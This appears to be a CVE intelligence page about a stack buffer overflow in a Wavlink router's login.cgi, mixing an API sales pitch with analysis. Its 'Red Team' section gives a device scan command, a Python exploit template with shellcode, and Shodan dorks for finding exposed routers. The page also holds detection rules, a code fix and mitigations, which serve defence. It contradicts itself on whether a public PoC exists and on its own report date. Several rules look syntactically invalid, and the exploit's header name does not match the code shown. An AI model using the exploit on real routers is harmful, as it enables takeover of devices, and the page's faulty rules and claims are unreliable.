☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-121
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-61128

CVE-2025-61128 Stack Buffer Overflow in Wavlink
📅 PUBLISHED: 2025-10-28 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: M30HG3_V240730
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-61128 is a critical stack-based buffer overflow vulnerability (CWE-121) discovered in the WAVLINK QUANTUM D3G and WL-WN530HG3 routers running firmware version M30HG3_V240730. The flaw resides in the login.cgi CGI binary, where a crafted Referrer HTTP header value is copied into a fixed-size stack buffer without proper bounds checking. An unauthenticated attacker can trigger remote code execution (RCE) by sending a specially crafted POST request to the login endpoint.

The vulnerability is particularly dangerous because it requires no authentication, is exploitable over the network, and affects a widely deployed consumer router line. No public proof-of-concept (PoC) or exploit code has been released as of this analysis, but the technical details are sufficient for a skilled attacker to develop one. The vendor has not acknowledged the issue, and no patch is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded Linux devices. However, the supply chain risk is significant: if these routers are used in SOHO or remote work environments, a compromise could lead to lateral movement into corporate networks.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)

Metric Value Rationale
Attack Vector (AV) Network Exploitable remotely via HTTP POST
Attack Complexity (AC) Low No special conditions required
Privileges Required (PR) None No authentication needed
User Interaction (UI) None No user action required
Scope (S) Unchanged Vulnerable component only
Confidentiality (C) High Full device compromise
Integrity (I) High Arbitrary code execution
Availability (A) High DoS or full control

Threat Level: Critical. The combination of network accessibility, no authentication, and full RCE makes this a top-priority vulnerability for any organization using Wavlink devices.

Deep Dive & Mechanics

The vulnerability exists in the login.cgi CGI handler. When a POST request is sent to /cgi-bin/login.cgi, the server parses the Referrer HTTP header and copies its value into a stack buffer of fixed size (likely 256 or 512 bytes) using a function like strcpy() or sprintf() without length validation.

Root Cause: The Referrer header value is read via getenv("HTTP_REFERER") and then passed directly to a stack buffer copy operation. An attacker can supply a Referrer value exceeding the buffer size, overwriting the saved return address and other critical stack data.

Attack Flow:

  1. Attacker sends a POST request to http://<router-ip>/cgi-bin/login.cgi with a Referrer header containing shellcode and a ROP chain.
  2. The login.cgi binary copies the oversized Referrer into a stack buffer.
  3. The overflow overwrites the return address, redirecting execution to the attacker's shellcode.
  4. Shellcode executes with the privileges of the httpd process (typically root on embedded devices).

Affected Endpoint: POST /cgi-bin/login.cgi
Vulnerable Header: Referrer: [overflow payload]

Vulnerable vs. Patched Code

Since no patch exists, we can only describe the vulnerable code pattern and the hypothetical fix.

Vulnerable Code (C pseudocode):

void handle_login() {
    char buffer[256];
    char *referrer = getenv("HTTP_REFERER");
    if (referrer != NULL) {
        strcpy(buffer, referrer);  // VULNERABLE: no bounds check
    }
    // ... process login ...
}

Patched Code (Hypothetical fix):

void handle_login() {
    char buffer[256];
    char *referrer = getenv("HTTP_REFERER");
    if (referrer != NULL) {
        strncpy(buffer, referrer, sizeof(buffer) - 1);
        buffer[sizeof(buffer) - 1] = '\0';  // SAFE: bounded copy
    }
    // ... process login ...
}

The fix replaces strcpy with strncpy and ensures null-termination. Alternatively, using snprintf would be even safer.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Python 3 with requests and pwntools libraries
  • A Wavlink router with firmware M30HG3_V240730 (or similar)
  • Network access to the router's web interface

Exploitation Steps:

  1. Identify the target: Scan for Wavlink devices using Shodan or Nmap.

    nmap -p 80 --script http-title 192.168.1.0/24 | grep -i wavlink
    
  2. Craft the exploit payload. Since no public PoC exists, we provide a generic template. You must adjust offsets and shellcode for the specific firmware.

    import socket
    import struct
    
    # Adjust these values based on firmware analysis
    BUFFER_SIZE = 256
    OFFSET_TO_RET = 264  # Example offset
    SHELLCODE = b"\x90" * 16 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    
    # Build payload
    payload = b"A" * OFFSET_TO_RET
    payload += struct.pack("<I", 0xdeadbeef)  # Return address (to be calculated)
    payload += SHELLCODE
    
    # Send exploit
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.1.1", 80))
    request = f"POST /cgi-bin/login.cgi HTTP/1.1\r\nHost: 192.168.1.1\r\nReferrer: {payload.decode('latin-1')}\r\nContent-Length: 0\r\n\r\n"
    sock.send(request.encode())
    sock.close()
    
  3. Execute and gain shell. If successful, the router will execute the shellcode, providing a reverse shell or bind shell.

Blue Team (Defensive)

Detection & Response:

  1. Monitor HTTP Referrer headers for abnormally long values (>512 bytes).
  2. Deploy WAF rules to block POST requests to /cgi-bin/login.cgi with Referrer headers exceeding 256 bytes.
  3. Network segmentation: Isolate Wavlink routers on a separate VLAN with strict egress filtering.
  4. Honeypot: Deploy a fake login.cgi endpoint to capture exploit attempts.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/cgi-bin/login.cgi" method=POST
| eval referrer_len=len(referrer)
| where referrer_len > 256
| table _time, src_ip, referrer_len, referrer

Indicators of Compromise (IOCs)

Type Indicator Description
Network POST to /cgi-bin/login.cgi with Referrer > 256 bytes Exploit attempt
Network HTTP Referrer header containing non-printable characters or shellcode Malicious payload
Host Unexpected processes spawned by httpd Post-exploitation
Host Outbound connections from router to unknown IPs (e.g., port 4444) Reverse shell
File Modified /tmp files or new binaries in /var/ Persistence

YARA Rule (for firmware analysis):

rule CVE_2025_61128_Exploit_Payload {
    meta:
        description = "Detects exploit payloads targeting CVE-2025-61128"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "Referrer: " ascii wide nocase
        $s2 = "/cgi-bin/login.cgi" ascii wide nocase
        $shellcode = { 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 }
    condition:
        $s1 and $s2 and #shellcode > 0
}

Detection Engineering

YARA Rule (Network Traffic)

rule CVE_2025_61128_HTTP_Exploit {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-61128 via oversized Referrer header"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $method = "POST" ascii
        $uri = "/cgi-bin/login.cgi" ascii
        $referrer = "Referrer: " ascii nocase
    condition:
        $method at 0 and $uri and $referrer and
        for any of ($referrer*) : (len(#) > 256)
}

Sigma Rule (Windows Event Log - if proxied)

title: CVE-2025-61128 Exploitation Attempt via HTTP Referrer
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/login.cgi with abnormally long Referrer headers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/login.cgi'
    condition: selection and len(cs(Referer)) > 256
falsepositives:
    - Legitimate long referrers (rare)
level: high

Suricata Rule (Network IDS)

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-61128 Wavlink login.cgi Referrer Buffer Overflow Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/cgi-bin/login.cgi";
    http.header; content:"Referrer";
    http.header_raw; content:"Referrer:";
    byte_test:1,>,256,0,relative,string,dec;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-61128;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices from the internet and untrusted networks.
  2. Disable remote management (WAN-side access to the web interface).
  3. Apply strict firewall rules to allow only trusted IPs to access the router's web interface.
  4. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fixes:

  • Vendor patch: Contact Wavlink support and request a firmware update. If none is forthcoming, consider replacing the device.
  • Custom firmware: If the device supports open-source firmware (e.g., OpenWrt), flash a secure alternative.
  • Network segmentation: Place all IoT/embedded devices on a separate VLAN with no access to critical systems.

Workaround (if patching is impossible):

  • Use a reverse proxy (e.g., Nginx) in front of the router to filter and validate HTTP headers.
  • Block all POST requests to /cgi-bin/login.cgi at the network perimeter.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated: 2025-04-10

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Wavlink"
http.html:"login.cgi"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-61128/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.